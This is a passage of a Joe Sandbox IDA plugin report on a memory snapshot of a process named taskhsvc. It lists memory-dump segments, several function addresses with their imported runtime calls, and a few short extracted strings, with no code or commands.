Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031F194, Relevance: 7.6, APIs: 5, Instructions: 143

APIs

abort.MSVCRT ref: 0031F1F0
abort.MSVCRT ref: 0031F22F
abort.MSVCRT ref: 0031F26E

Part of subcall function 0031E52A: memcpy.MSVCRT ref: 0031E55E
Part of subcall function 0031E52A: __stack_chk_fail.LIBSSP-0 ref: 0031E56F

Part of subcall function 0031D513: memset.MSVCRT ref: 0031D60E
Part of subcall function 0031D513: memset.MSVCRT ref: 0031D715
Part of subcall function 0031D513: __stack_chk_fail.LIBSSP-0(?), ref: 0031D7EB

Part of subcall function 0031C580: __stack_chk_fail.LIBSSP-0 ref: 0031C5B7

Part of subcall function 0031D085: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,0031D164), ref: 0031D112

__stack_chk_fail.LIBSSP-0 ref: 0031F3A5

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 0031F319

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 0031E604: memcpy.MSVCRT ref: 0031E638
Part of subcall function 0031E604: __stack_chk_fail.LIBSSP-0 ref: 0031E649

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002374BF, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169

APIs

Part of subcall function 00233770: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,002578D1), ref: 0023379C

Part of subcall function 002B6941: __stack_chk_fail.LIBSSP-0 ref: 002B69E5

Part of subcall function 00249522: abort.MSVCRT ref: 00249572
Part of subcall function 00249522: __stack_chk_fail.LIBSSP-0 ref: 002495A9

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 002C1874: __stack_chk_fail.LIBSSP-0 ref: 002C1911

Part of subcall function 003081DD: __stack_chk_fail.LIBSSP-0 ref: 0030826A

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

__stack_chk_fail.LIBSSP-0 ref: 002376EC

Strings

microdesc, xrefs: 00237696
exits, xrefs: 00237684
desc, xrefs: 0023769D

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001DC97F, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114

APIs

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00223659: __stack_chk_fail.LIBSSP-0 ref: 002236FF

Part of subcall function 00276C11: abort.MSVCRT ref: 00276C61
Part of subcall function 00276C11: __stack_chk_fail.LIBSSP-0 ref: 00276C85

Part of subcall function 00276D83: abort.MSVCRT ref: 00276DD3
Part of subcall function 00276D83: __stack_chk_fail.LIBSSP-0 ref: 00276DF7

free.MSVCRT ref: 001DCB5D
__stack_chk_fail.LIBSSP-0 ref: 001DCB92

Part of subcall function 0026DD89: abort.MSVCRT ref: 0026DDDB
Part of subcall function 0026DD89: __stack_chk_fail.LIBSSP-0 ref: 0026DFCD

Part of subcall function 002FED64: abort.MSVCRT ref: 002FEDC3
Part of subcall function 002FED64: abort.MSVCRT ref: 002FEE06
Part of subcall function 002FED64: abort.MSVCRT ref: 002FEE91
Part of subcall function 002FED64: free.MSVCRT ref: 002FEEC9
Part of subcall function 002FED64: free.MSVCRT ref: 002FF023
Part of subcall function 002FED64: __stack_chk_fail.LIBSSP-0 ref: 002FF03D

Strings

d.A, xrefs: 001DCB31
0.A, xrefs: 001DCB87

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F0A12, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108

APIs

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 001F0A3E

Part of subcall function 001E3DED: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C1825), ref: 001E3E14

Part of subcall function 001F0D83: abort.MSVCRT ref: 001F12C4
Part of subcall function 001F0D83: __stack_chk_fail.LIBSSP-0 ref: 001F1529

Part of subcall function 001E8780: abort.MSVCRT ref: 001E87D6
Part of subcall function 001E8780: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001EA4BB), ref: 001E87E9

Part of subcall function 00212830: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001F2084), ref: 0021288C
Part of subcall function 00212830: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,001F2084), ref: 00212932

Part of subcall function 002FA2E7: __stack_chk_fail.LIBSSP-0 ref: 002FA438

Part of subcall function 0031919B: strerror.MSVCRT ref: 003191ED
Part of subcall function 0031919B: __stack_chk_fail.LIBSSP-0 ref: 003191FD

Part of subcall function 001E8860: abort.MSVCRT ref: 001E88CA
Part of subcall function 001E8860: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001E9EDC), ref: 001E88DD

Part of subcall function 00216D57: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,001C2F3A), ref: 00216DA7
Part of subcall function 00216D57: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001C2F3A), ref: 00216DE3

__stack_chk_fail.LIBSSP-0 ref: 001F0D39

Part of subcall function 001E88E4: abort.MSVCRT ref: 001E893A
Part of subcall function 001E88E4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001EA517), ref: 001E894D

Part of subcall function 001EA631: __stack_chk_fail.LIBSSP-0 ref: 001EA800

Part of subcall function 001EA98A: abort.MSVCRT ref: 001EA9F9
Part of subcall function 001EA98A: abort.MSVCRT ref: 001EAA3B
Part of subcall function 001EA98A: abort.MSVCRT ref: 001EAA7A
Part of subcall function 001EA98A: time.MSVCRT ref: 001EABA2
Part of subcall function 001EA98A: __stack_chk_fail.LIBSSP-0 ref: 001EABBD

Strings

(unknown, errno was 0), xrefs: 001F0A99
;, xrefs: 001F0B68

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E4071, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100

APIs

Part of subcall function 001E378D: abort.MSVCRT ref: 001E37E0
Part of subcall function 001E378D: __stack_chk_fail.LIBSSP-0 ref: 001E381F

Part of subcall function 001E34DB: abort.MSVCRT ref: 001E35A1
Part of subcall function 001E34DB: memset.MSVCRT ref: 001E35BC
Part of subcall function 001E34DB: __stack_chk_fail.LIBSSP-0 ref: 001E35CF

Part of subcall function 0033084A: __stack_chk_fail.LIBSSP-0 ref: 00330886

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E4145
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E41C6

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E419E

Strings

UQA, xrefs: 001E417E

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003265E9, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100

APIs

Part of subcall function 00325CFA: abort.MSVCRT ref: 00325D72
Part of subcall function 00325CFA: abort.MSVCRT ref: 00325DB1
Part of subcall function 00325CFA: abort.MSVCRT ref: 00325DF6
Part of subcall function 00325CFA: strerror.MSVCRT ref: 00325ECF
Part of subcall function 00325CFA: strerror.MSVCRT ref: 00325F30
Part of subcall function 00325CFA: _close.MSVCRT ref: 00325F8C
Part of subcall function 00325CFA: free.MSVCRT ref: 00325FB5
Part of subcall function 00325CFA: free.MSVCRT ref: 00325FDD
Part of subcall function 00325CFA: free.MSVCRT ref: 00325FFF
Part of subcall function 00325CFA: __stack_chk_fail.LIBSSP-0 ref: 0032601B

Part of subcall function 003255C5: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00312E2F), ref: 00325635
Part of subcall function 003255C5: _write.MSVCRT ref: 00325691
Part of subcall function 003255C5: __stack_chk_fail.LIBSSP-0 ref: 003256C2

strerror.MSVCRT ref: 003266A8

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 003265AE: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,003266E8), ref: 003265E2

__stack_chk_fail.LIBSSP-0 ref: 00326762

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 00326730

Part of subcall function 00326573: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,002C0EBF), ref: 003265A7

Strings

m, xrefs: 00326720

Memory Dump Source

